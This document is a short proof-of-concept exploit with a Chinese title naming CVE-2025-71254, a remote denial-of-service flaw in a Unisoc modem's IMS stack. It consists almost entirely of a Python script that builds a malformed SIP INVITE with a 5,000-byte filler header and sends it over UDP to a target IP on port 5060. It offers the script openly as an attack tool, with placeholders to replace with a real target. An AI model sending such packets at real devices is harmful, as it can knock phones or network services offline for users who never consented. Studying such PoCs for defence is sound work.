CVE-2025-71254 Unisoc Modem IMS远程拒绝服务漏洞

import socket # CVE-2025-71254 PoC Concept # This PoC demonstrates a potential trigger for the DoS vulnerability in Modem IMS. # Target environment details are abstracted. def send_malformed_ims_packet(target_ip, target_port): # Constructing a malformed SIP/IMS packet # This payload simulates improper input validation logic header = b"INVITE sip:[email protected] SIP/2.0\r\n" header += b"Via: SIP/2.0/UDP attacker.local;branch=z9hG4bK\r\n" header += b"Max-Forwards: 70\r\n" header += b"To: <sip:[email protected]>\r\n" header += b"From: <sip:attacker@local>;tag=1928301774\r\n" header += b"Call-ID: [email protected]\r\n" header += b"CSeq: 314159 INVITE\r\n" # Injecting unexpected input to trigger validation failure malformed_payload = b"X-Custom-Header: " + b"A" * 5000 + b"\r\n" header += malformed_payload header += b"Content-Length: 0\r\n\r\n" try: print(f"[*] Sending payload to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(header, (target_ip, target_port)) print("[+] Payload sent successfully.") except Exception as e: print(f"[-] An error occurred: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "192.168.1.100" TARGET_PORT = 5060 # Default SIP port send_malformed_ims_packet(TARGET_IP, TARGET_PORT)